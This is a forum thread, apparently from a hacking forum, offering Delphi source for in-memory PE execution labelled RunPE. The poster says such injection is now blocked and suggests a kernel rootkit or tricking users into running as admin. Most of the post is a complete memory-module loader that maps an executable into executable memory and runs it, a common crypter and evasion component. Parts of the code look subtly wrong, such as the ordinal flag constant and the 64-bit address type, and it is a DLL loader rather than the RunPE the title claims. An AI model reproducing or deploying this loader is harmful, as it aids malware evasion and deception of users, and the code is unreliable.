Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Delphi 

Basic Memory Execution Source!(RunPe)[Delphi]

So, as it turns out this code and other RunPE's do not even work anymore (even on win7 or winxp)

This code is now useless O_o
I have old D7 sources which had working injection, and I have not touched them for years, and now the injection no longer works on my WinXP or Win7 machine. Further more I tried the other RunPE's with similair issues (exiting or crashing without loading).

Has anyone else found this injection code to be working?

I talked with others, they say that it has been blocked. My guess is MS forced DEP on by default, and apparently has other ways of preventing the RunPE. You cannot write into other process memory. It seems the only way to go is a Ring-0 rootkit and tricking the user into running as admin or somehow exploiting.

I copied the exact code, all I did was make it a project so I could compile it in D7. Here is what happens on execute:

Screen Shot: [img]http://img34.imageshack.us/img34/1518/pnb.png[/img]
Any of the RunPE's I try do not work on my PC's. Not even on WinXP
Code
{$DEFINE USESTDCALL}
{ .$DEFINE USEDBGOUT }
unit MemoryModule;

interface

uses
  Windows{$IFDEF USEDBGOUT}, SysUtils{$ENDIF};

type

  HMemModule = NativeUInt;

function MemLoadLibrary(const buf: Pointer): HMemModule;
{$IFDEF USESTDCALL}stdcall;
{$ENDIF}
function MemGetProcAddress(Module: HMemModule;
  const lpProcName: LPCSTR): FARPROC;
{$IFDEF USESTDCALL}stdcall; {$ENDIF}
function MemFreeLibrary(Module: HMemModule): BOOL; {$IFDEF USESTDCALL}stdcall;
{$ENDIF}

implementation

type
  TFNDllMain = function(hinstDLL: HMODULE; Reason: Integer; Reserved: Pointer)
    : BOOL; stdcall;
  LPMemModule = ^TMemModule;

  TMemModule = record
    headers: PImageNtHeaders;
    codeBase: PAnsiChar;
    entrypoint: TFNDllMain;
    modules: array of HMODULE;
    runtimeFunc: PImageRuntimeFunctionEntry;
    initialized: boolean;
    magic: Integer;
  end;

  //

type

{$IFDEF VER150 or VER140 or VER 130}
{$DEFINE Delphi7Old}
{$ENDIF}
{$IFDEF Delphi7Old}
  ULONGLONG = UINT64;
{$ENDIF}
  TNativeAddr = {$IFDEF WIN64}DWORD{$ELSE}ULONGLONG{$ENDIF};
  //for old veriosn delphi

  _IMAGE_THUNK_DATA32 = record
    case Byte of
  0:
  (ForwarderString: DWORD); // PBYTE
  1:
  (_Function: DWORD); // PDWORD Function -> _Function
  2:
  (Ordinal: DWORD);
  3:
  (AddressOfData: DWORD); // PIMAGE_IMPORT_BY_NAME
  end;

  IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32;
  TImageThunkData32 = _IMAGE_THUNK_DATA32;
  PIMAGE_THUNK_DATA32 = ^_IMAGE_THUNK_DATA32;
  PImageThunkData32 = ^_IMAGE_THUNK_DATA32;

  _IMAGE_THUNK_DATA64 = record
    case Byte of
  0:
  (ForwarderString: ULONGLONG); // PBYTE
  1:
  (_Function: ULONGLONG); // PDWORD Function -> _Function
  2:
  (Ordinal: ULONGLONG);
  3:
  (AddressOfData: ULONGLONG); // PIMAGE_IMPORT_BY_NAME
  end;

  IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64;
  TImageThunkData64 = _IMAGE_THUNK_DATA64;
  PIMAGE_THUNK_DATA64 = ^_IMAGE_THUNK_DATA64;
  PImageThunkData64 = ^_IMAGE_THUNK_DATA64;

  _IMAGE_TLS_DIRECTORY32 = record
    StartAddressOfRawData: DWORD;
    EndAddressOfRawData: DWORD;
    AddressOfIndex: DWORD; // PDWORD
    AddressOfCallBacks: DWORD; // PIMAGE_TLS_CALLBACK *;
    SizeOfZeroFill: DWORD;
    Characteristics: DWORD;
  end;

  IMAGE_TLS_DIRECTORY32 = _IMAGE_TLS_DIRECTORY32;
  TImageTLSDirectory32 = _IMAGE_TLS_DIRECTORY32;
  PIMAGE_TLS_DIRECTORY32 = ^_IMAGE_TLS_DIRECTORY32;
  PImageTLSDirectory32 = ^_IMAGE_TLS_DIRECTORY32;

  _IMAGE_TLS_DIRECTORY64 = record
    StartAddressOfRawData: ULONGLONG;
    EndAddressOfRawData: ULONGLONG;
    AddressOfIndex: ULONGLONG; // PDWORD
    AddressOfCallBacks: ULONGLONG; // PIMAGE_TLS_CALLBACK *;
    SizeOfZeroFill: DWORD;
    Characteristics: DWORD;
  end;

  IMAGE_TLS_DIRECTORY64 = _IMAGE_TLS_DIRECTORY64;
  TImageTLSDirectory64 = _IMAGE_TLS_DIRECTORY64;
  PIMAGE_TLS_DIRECTORY64 = ^_IMAGE_TLS_DIRECTORY64;
  PImageTLSDirectory64 = ^_IMAGE_TLS_DIRECTORY64;

  _IMAGE_IMPORT_DESCRIPTOR = record
    case Byte of
  0:
  (Characteristics: DWORD); // 0 for terminating null import descriptor
  1:
  (OriginalFirstThunk: DWORD;
    // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    TimeDateStamp: DWORD; // 0 if not bound,
    // -1 if bound, and real date\time stamp
    // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
    // O.W. date/time stamp of DLL bound to (Old BIND)

    ForwarderChain: DWORD; // -1 if no forwarders
    Name: DWORD;
    FirstThunk: DWORD);
    // RVA to IAT (if bound this IAT has actual addresses)
  end;

  IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
  TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR;
  PIMAGE_IMPORT_DESCRIPTOR = ^_IMAGE_IMPORT_DESCRIPTOR;
  PImageImportDescriptor = ^_IMAGE_IMPORT_DESCRIPTOR;

  _IMAGE_IMPORT_BY_NAME = record
    Hint: Word;
    Name: array [0 .. 0] of Byte;
  end;

  IMAGE_IMPORT_BY_NAME = _IMAGE_IMPORT_BY_NAME;
  TImageImportByName = _IMAGE_IMPORT_BY_NAME;
  PIMAGE_IMPORT_BY_NAME = ^_IMAGE_IMPORT_BY_NAME;
  PImageImportByName = ^_IMAGE_IMPORT_BY_NAME;

  //winnt structures

  _IMAGE_BASE_RELOCATION = packed record
    VirtualAddress: DWORD;
    SizeOfBlock: DWORD;
  end;

  IMAGE_BASE_RELOCATION = _IMAGE_BASE_RELOCATION;
  PIMAGE_BASE_RELOCATION = ^_IMAGE_BASE_RELOCATION;

{$IFDEF WIN64}
  PIMAGE_NT_HEADERS = ^_IMAGE_NT_HEADERS64;
  IMAGE_THUNK_DATA = IMAGE_THUNK_DATA64;
  PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA64;

  PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY64;
{$ELSE}
  PIMAGE_NT_HEADERS = ^_IMAGE_NT_HEADERS;
  IMAGE_THUNK_DATA = IMAGE_THUNK_DATA32;
  PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA32;

  PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY32;
{$ENDIF}
  PIMAGE_EXPORT_DIRECTORY = ^IMAGE_EXPORT_DIRECTORY;

  _IMAGE_EXPORT_DIRECTORY = record
    Characteristics: DWORD;
    TimeDateStamp: DWORD;
    MajorVersion: Word;
    MinorVersion: Word;
    Name: DWORD;
    Base: DWORD;
    NumberOfFunctions: DWORD;
    NumberOfNames: DWORD;
    AddressOfFunctions: DWORD;
    AddressOfNames: DWORD;
    AddressOfNameOrdinals: DWORD;
  end;

  IMAGE_EXPORT_DIRECTORY = _IMAGE_EXPORT_DIRECTORY;

const
  IMAGE_REL_BASED_ABSOLUTE = 0;
  IMAGE_REL_BASED_HIGH = 1;
  IMAGE_REL_BASED_LOW = 2;
  IMAGE_REL_BASED_HIGHLOW = 3;
  IMAGE_REL_BASED_HIGHADJ = 4;
  IMAGE_REL_BASED_MIPS_JMPADDR = 5;
  IMAGE_REL_BASED_SECTION = 6;
  IMAGE_REL_BASED_REL32 = 7;
  IMAGE_REL_BASED_MIPS_JMPADDR16 = 9;
  IMAGE_REL_BASED_IA64_IMM64 = 9;
  IMAGE_REL_BASED_DIR64 = 10;
  IMAGE_REL_BASED_HIGH3ADJ = 11;
  IMAGE_ORDINAL_FLAG64 = UINT64($800);
  IMAGE_ORDINAL_FLAG32 = LongWord($800);
  IMAGE_ORDINAL_FLAG =
{$IFDEF WIN64}IMAGE_ORDINAL_FLAG64{$ELSE}IMAGE_ORDINAL_FLAG32{$ENDIF};
  MARCHINECODE =
{$IFDEF WIN64}IMAGE_FILE_MACHINE_AMD64{$ELSE}IMAGE_FILE_MACHINE_I386{$ENDIF};

  MEMMODULEMAGICNUM = $19770605;

procedure dbgout(const str: string); overload;
begin
{$IFDEF USEDBGOUT}
  OutputDebugString(PChar(str));
{$ENDIF}
end;

procedure dbgout(const Format: string; const Args: array of const); overload;
begin
{$IFDEF USEDBGOUT}
  dbgout(SysUtils.Format(Format, Args));
{$ENDIF}
end;

//copy sections

procedure DoCopySections(const data: PAnsiChar; old_headers: PImageNtHeaders;
  var Module: TMemModule);
var
  i: Integer;
  dest: Pointer;
  section: PImageSectionHeader;
  SectionAlignment: Integer;
  Addr: Pointer;
  Size: NativeInt;
begin
  SectionAlignment := old_headers^.OptionalHeader.SectionAlignment;
  // section := IMAGE_FIRST_SECTION(Module.headers);
  section := PImageSectionHeader(PAnsiChar(@Module.headers^.OptionalHeader) +
    Module.headers^.FileHeader.SizeOfOptionalHeader);
  for i := 0 to Module.headers.FileHeader.NumberOfSections - 1 do
  begin
    Addr := Module.codeBase + section^.VirtualAddress;
    if (section^.SizeOfRawData = 0) then
    begin
  // section
  Size := SectionAlignment;
  if (Size > 0) then
  begin
  dest := VirtualAlloc(Addr, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  section^.Misc.PhysicalAddress := TNativeAddr(dest);
  ZeroMemory(dest, Size);
  end;
    end
    else
    begin
  Size := section^.SizeOfRawData;
  dest := VirtualAlloc(Addr, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  CopyMemory(dest, @data[section^.PointerToRawData], Size);
  section^.Misc.PhysicalAddress := DWORD(dest);

    end;
    Inc(section);
  end;
end;

//fill imports

function DoFillImports(var Module: TMemModule): boolean;
type
  TFarProc = procedure();
  LPFarProc = ^TFarProc;
var
  dir: PImageDataDirectory;
  importDesc: PIMAGE_IMPORT_DESCRIPTOR;
  thunk: PIMAGE_THUNK_DATA;
  hm: HMODULE;
  mCount: Integer;
  func: LPFarProc;
  pByName: PIMAGE_IMPORT_BY_NAME;
begin
  result := false;
  dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_IMPORT]);
  if (dir.VirtualAddress = 0) or (dir.Size = 0) then
    Exit;
  importDesc := PIMAGE_IMPORT_DESCRIPTOR(@Module.codeBase[dir.VirtualAddress]);
  mCount := 0;
  while importDesc^.Characteristics <> 0 do
  begin
    hm := LoadLibraryA(PAnsiChar(@Module.codeBase[importDesc^.Name]));
    dbgout(PAnsiChar(@Module.codeBase[importDesc^.Name]));
    if hm = 0 then
  Exit;
    if mCount >= Length(Module.modules) then
  SetLength(Module.modules, Length(Module.modules) + 16);
    Module.modules[mCount] := hm;
    Inc(mCount);
    if importDesc^.OriginalFirstThunk <> 0 then
    begin
  thunk := PIMAGE_THUNK_DATA
  (@Module.codeBase[importDesc^.OriginalFirstThunk]);
    end
    else
    begin
  thunk := PIMAGE_THUNK_DATA(@Module.codeBase[importDesc^.FirstThunk]);
    end;
    func := LPFarProc(@Module.codeBase[importDesc^.FirstThunk]);

    while thunk^._Function <> 0 do
    begin
  if (thunk^.Ordinal and IMAGE_ORDINAL_FLAG <> 0) then
  begin
  func^ := Windows.GetProcAddress(hm,
    PAnsiChar(thunk^.Ordinal and $0000FFFF));
  end
  else
  begin
  pByName := PIMAGE_IMPORT_BY_NAME
    (@Module.codeBase[thunk^.AddressOfData]);
  func^ := Windows.GetProcAddress(hm, PAnsiChar(@pByName^.Name));
  end;
  if not Assigned(func^) then
  Exit;
  Inc(thunk);
  Inc(func);
    end;
    //
    Inc(importDesc);
  end;
  SetLength(Module.modules, mCount);
  result := True;
end;

// fix relocation

procedure DoRelocation(var Module: TMemModule; ImageBaseDelta: NativeInt);
var
  dir: PImageDataDirectory;
  relocation: PIMAGE_BASE_RELOCATION;
  BlockAddr: Pointer;
  i: Integer;
  pw: PWORD;
  relType: Word;
  offset: Word;
begin

  dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_BASERELOC]);
  if (dir.VirtualAddress = 0) or (dir.Size = 0) then
  begin
    dbgout('No RelocationData found.');
    Exit;
  end;
  relocation := PIMAGE_BASE_RELOCATION(@Module.codeBase[dir^.VirtualAddress]);
  while (relocation^.VirtualAddress <> 0) and (relocation^.SizeOfBlock > 0) do
  begin
    BlockAddr := @Module.codeBase[relocation^.VirtualAddress];
    pw := PWORD(NativeUInt(relocation) + SizeOf(IMAGE_BASE_RELOCATION));
    dbgout('pw=%x', [DWORD(pw)]);
    for i := 0 to (relocation.SizeOfBlock - SizeOf(IMAGE_BASE_RELOCATION))
  div SizeOf(Word) - 1 do
    begin
  // dbgout('*relInfo = %x',[DWORD(pw^)]);
  offset := pw^ and $0FFF;
  relType := (pw^ and $F000) shr 12;

  case relType of
  IMAGE_REL_BASED_ABSOLUTE:
    ;

  IMAGE_REL_BASED_HIGHLOW:
    begin
    Inc(PDWORD(DWORD(BlockAddr) + offset)^, ImageBaseDelta);
    end;
{$IFDEF WIN64}
  IMAGE_REL_BASED_DIR64:
    begin
    Inc(PUINT64(UINT64(BlockAddr) + offset)^, ImageBaseDelta);
    dbgout('IMAGE_REL_BASED_DIR64(=%x).',
    [PUINT64(UINT64(BlockAddr) + offset)^]);
    end;
{$ENDIF}
  else
  begin
    dbgout('Unknown relocation(=%d).', [relType]);
  end;
  end;
  Inc(pw);
    end;
    relocation := PIMAGE_BASE_RELOCATION(PAnsiChar(relocation) +
  relocation^.SizeOfBlock);
  end;
end;

//set page protect

procedure DoSetPageProtect(var Module: TMemModule);
var
  section: PImageSectionHeader;
  i: Integer;
  protectvalue, oldProtect: DWORD;
  imageOffset: NativeUInt;
  pgsize: NativeInt;
begin
  imageOffset :=
{$IFDEF WIN64} Module.headers.OptionalHeader.ImageBase and $FF00;
{$ELSE}0{$ENDIF};
  section := PImageSectionHeader(NativeUInt(@Module.headers^.OptionalHeader) +
    Module.headers^.FileHeader.SizeOfOptionalHeader);
  //
  for i := 0 to Module.headers.FileHeader.NumberOfSections - 1 do
  begin
    protectvalue := 0;
    if (section^.Characteristics and IMAGE_SCN_MEM_EXECUTE) = IMAGE_SCN_MEM_EXECUTE
    then
  protectvalue := protectvalue or PAGE_EXECUTE;
    if (section^.Characteristics and IMAGE_SCN_MEM_READ) = IMAGE_SCN_MEM_READ
    then
  protectvalue := protectvalue or PAGE_READONLY;
    if (section^.Characteristics and IMAGE_SCN_MEM_WRITE) = IMAGE_SCN_MEM_WRITE
    then
  protectvalue := protectvalue or PAGE_WRITECOPY;
    if (section^.Characteristics and IMAGE_SCN_MEM_NOT_CACHED) = IMAGE_SCN_MEM_NOT_CACHED
    then
  protectvalue := protectvalue or PAGE_NOCACHE;
    // protectvalue := protectvalue and PAGE_EXECUTE_READWRITE;
    //
    if (section^.Characteristics and IMAGE_SCN_MEM_DISCARDABLE) = IMAGE_SCN_MEM_DISCARDABLE
    then
    begin
  VirtualFree(Pointer(section^.Misc.PhysicalAddress or imageOffset),
  section^.SizeOfRawData, MEM_DECOMMIT);
  continue;
    end;
    pgsize := section^.SizeOfRawData;
    if pgsize = 0 then
    begin
  if (section^.Characteristics and IMAGE_SCN_CNT_INITIALIZED_DATA) = IMAGE_SCN_CNT_INITIALIZED_DATA
  then
  begin
  pgsize := Module.headers.OptionalHeader.SizeOfInitializedData;
  end
  else if (section^.Characteristics and IMAGE_SCN_CNT_UNINITIALIZED_DATA) = IMAGE_SCN_CNT_UNINITIALIZED_DATA
  then
  begin
  pgsize := Module.headers.OptionalHeader.SizeOfUninitializedData;
  end
    end;

    if pgsize > 0 then
    begin
  VirtualProtect(Pointer(section^.Misc.PhysicalAddress or imageOffset),
  pgsize, protectvalue, oldProtect);
    end;
    //
    Inc(section);
  end;
end;

// initialize exceptions

{$IFDEF WIN64}

procedure DoInitializeSEH(var Module: TMemModule);

var
  dir: PImageDataDirectory;
  pTmp: PImageRuntimeFunctionEntry;
  EnrtyNums: DWORD;
  RtlAddFunctionTable: function(FunctionTable: PImageRuntimeFunctionEntry;
    EntryCount: DWORD; BaseAddress: DWORD64): boolean; stdcall;
begin
  @RtlAddFunctionTable := GetProcAddress(GetModuleHandle(kernel32),
    'RtlAddFunctionTable');
  if not Assigned(RtlAddFunctionTable) then
    Exit;
  dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_EXCEPTION]);
  if (dir.VirtualAddress = 0) or (dir.Size = 0) then
  begin
    dbgout('No SEH found.');
    Exit;
  end;
  Module.runtimeFunc := PImageRuntimeFunctionEntry
    (@Module.codeBase[dir.VirtualAddress]);
  pTmp := Module.runtimeFunc;

  EnrtyNums := dir.Size div SizeOf(IMAGE_RUNTIME_FUNCTION_ENTRY);
  if not RtlAddFunctionTable(Module.runtimeFunc, EnrtyNums,
    DWORD64(Module.codeBase)) then
    dbgout('Could not add function table.');
end;
{$ENDIF}

// 'LoadLibrary'
function MemLoadLibrary(const buf: Pointer): HMemModule;
var
  pDos: PImageDosHeader;
  pOld: PImageNtHeaders;
  _buf: PAnsiChar;
  // headers: PAnsiChar;
  ret: LPMemModule;
  ImageBaseDelta: NativeInt;
begin
  result := 0;
  new(ret);
  ZeroMemory(ret, SizeOf(TMemModule));
  ret^.magic := MEMMODULEMAGICNUM;
  _buf := buf;
  pDos := PImageDosHeader(_buf);
  if pDos^.e_magic <> IMAGE_DOS_SIGNATURE then
  begin
    Dispose(ret);
    dbgout('Not a valid executable file,No DOS header found.');
    Exit;
  end;
  pOld := PImageNtHeaders(@_buf[pDos^._lfanew]);

  if pOld^.Signature <> IMAGE_NT_SIGNATURE then
  begin
    Dispose(ret);
    dbgout('Not a valid executable file,No PE header found.');
    Exit;
  end;

  if pOld^.FileHeader.Machine <> MARCHINECODE then
  begin
    Dispose(ret);
    dbgout('Not a right mathine.');
    Exit;
  end;
  ret^.codeBase :=
    PAnsiChar(VirtualAlloc(Pointer(pOld^.OptionalHeader.ImageBase),
    pOld^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE));
  if ret^.codeBase = nil then
    ret^.codeBase :=
  PAnsiChar(VirtualAlloc(nil, pOld^.OptionalHeader.SizeOfImage, MEM_RESERVE,
  PAGE_EXECUTE_READWRITE));
  if ret^.codeBase = nil then
  begin
    Dispose(ret);
    dbgout('Can''t alloc memory.');
    Exit;
  end;
  //
  VirtualAlloc(ret^.codeBase, pOld^.OptionalHeader.SizeOfImage, MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
  VirtualAlloc(ret^.codeBase, pOld^.OptionalHeader.SizeOfHeaders, MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
  ret^.headers := PImageNtHeaders(@ret^.codeBase[pDos^._lfanew]);
  CopyMemory(ret^.codeBase, pDos, pOld^.OptionalHeader.SizeOfHeaders);
  //
  ret^.headers := PImageNtHeaders(@ret^.codeBase[pDos^._lfanew]);
  ret^.headers.OptionalHeader.ImageBase := TNativeAddr(ret^.codeBase);
  // Section
  DoCopySections(_buf, pOld, ret^);
  ImageBaseDelta := (NativeInt(ret^.codeBase) - pOld^.OptionalHeader.ImageBase);
  if (ImageBaseDelta <> 0) then
    DoRelocation(ret^, ImageBaseDelta);
{$IFDEF WIN64}
  DoInitializeSEH(ret^);
{$ENDIF}
  if not DoFillImports(ret^) then
  begin
    MemFreeLibrary(HMemModule(@ret));
    Exit;
  end;

  DoSetPageProtect(ret^);
  if ret^.headers.OptionalHeader.AddressOfEntryPoint <> 0 then
  begin
    ret^.entrypoint :=
  TFNDllMain(@ret^.codeBase
  [ret^.headers.OptionalHeader.AddressOfEntryPoint]);
    if (Assigned(ret^.entrypoint)) then //
    begin
  try
  if (not ret^.entrypoint(HMODULE(ret^.codeBase), DLL_PROCESS_ATTACH, 0))
  // if false

  then
  begin
    MemFreeLibrary(HMemModule(@ret));
    Exit;
  end;
  except

  end;
    end
    else
    begin
  MemFreeLibrary(HMemModule(@ret));
  Exit;
    end;
    ret^.initialized := True;
  end;
  result := HMODULE(ret);
end;


Code
// 'GetProcAddress'
function MemGetProcAddress(Module: HMemModule;
  const lpProcName: LPCSTR): FARPROC;
type
  TDWORDArray = array [0 .. 0] of DWORD;
  PDWORDArray = ^TDWORDArray;
  function StrIComp(const Str1, Str2: PAnsiChar): Integer;
  var
    P1, P2: PAnsiChar;
    C1, C2: AnsiChar;
  begin
    P1 := Str1;
    P2 := Str2;
    while True do
    begin
  if P1^ in ['a' .. 'z'] then
  C1 := AnsiChar(Byte(P1^) xor $20)
  else
  C1 := P1^;

  if P2^ in ['a' .. 'z'] then
  C2 := AnsiChar(Byte(P2^) xor $20)
  else
  C2 := P2^;

  if (C1 <> C2) or (C1 = #0) then
  begin
  result := (Ord(C1) - Ord(C2));
  Exit;
  end;
  Inc(P1);
  Inc(P2);
    end;
  end;

var
  i, idx: Integer;
  dir: PImageDataDirectory;
  pm: LPMemModule;
  Ordinal: PWORD;
  nameRef: PDWORD;
  exps: PIMAGE_EXPORT_DIRECTORY;
  func: DWORD;
begin
  result := nil;
  idx := -1;
  pm := LPMemModule(Module);
  if (pm = nil) or (pm^.magic <> MEMMODULEMAGICNUM) then
    Exit;
  // Exit(FindMyResFunc(pm^.codeBase, lpProcName));
  dir := PImageDataDirectory(@pm^.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_EXPORT]);

  if (dir^.VirtualAddress = 0) or (dir^.Size = 0) then
    Exit;

  exps := PIMAGE_EXPORT_DIRECTORY(@pm^.codeBase[dir.VirtualAddress]);

  if (exps^.NumberOfFunctions = 0) then
    Exit;
  if ((NativeUInt(lpProcName)) <= $FFFF) then
  begin
    idx := NativeUInt(lpProcName) - exps^.Base;
  end
  else
  begin
    if (exps^.NumberOfNames = 0) then
  Exit;
    nameRef := PDWORD(pm^.codeBase + exps^.AddressOfNames);
    Ordinal := PWORD(pm^.codeBase + exps^.AddressOfNameOrdinals);
    for i := 0 to exps^.NumberOfNames - 1 do
    begin
  if StrIComp(lpProcName, LPCSTR(@pm^.codeBase[nameRef^])) = 0 then
  begin
  idx := Ordinal^;
  Break;
  end;
  //
  Inc(nameRef);
  Inc(Ordinal);
    end;
  end;
  if (idx < 0) or (idx > exps^.NumberOfFunctions) then
    Exit;
  func := PDWORDArray(@pm^.codeBase[exps^.AddressOfFunctions])[idx];
  result := @pm^.codeBase[func];
end;

// 'FreeLibrary'
function MemFreeLibrary(Module: HMemModule): BOOL;
var
  pm: LPMemModule;
  i: Integer;
  RtlDeleteFunctionTable: function(FunctionTable: PImageRuntimeFunctionEntry)
    : boolean; stdcall;
begin
  result := false;
  pm := LPMemModule(Module);
  if (pm = nil) or (pm^.magic <> MEMMODULEMAGICNUM) then
    Exit;
  if pm^.initialized and Assigned(pm^.entrypoint) then
    pm.entrypoint(NativeUInt(pm^.codeBase), DLL_PROCESS_DETACH, 0);
  if pm^.runtimeFunc <> nil then
  begin
    @RtlDeleteFunctionTable := GetProcAddress(GetModuleHandle(kernel32),
  'RtlDeleteFunctionTable');
    if Assigned(RtlDeleteFunctionTable) then
  RtlDeleteFunctionTable(pm^.runtimeFunc);
    pm^.runtimeFunc := nil;
  end;
  for i := Low(pm^.modules) to High(pm^.modules) do
    if (pm^.modules[i] <> 0) and (pm^.modules[i] <> INVALID_HANDLE_VALUE) then
  FreeLibrary(pm^.modules[i]);
  pm^.modules := nil;
  if pm^.codeBase <> nil then
    VirtualFree(pm^.codeBase, 0, MEM_RELEASE);
  Dispose(pm);
end;

end.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Delphi] by Redacted KaosMar 8, 2022 01:05 AM 2 192 Mar 8, 2022 01:05 AM
Last Post: Hs32-Idir
[Delphi] by flAmingw0rmJan 17, 2022 01:45 PM 152 19,311 Jan 17, 2022 01:45 PM
Last Post: tmpdotglass
[Delphi] by flAmingw0rmJan 17, 2022 01:22 PM 113 14,132 Jan 17, 2022 01:22 PM
Last Post: tmpdotglass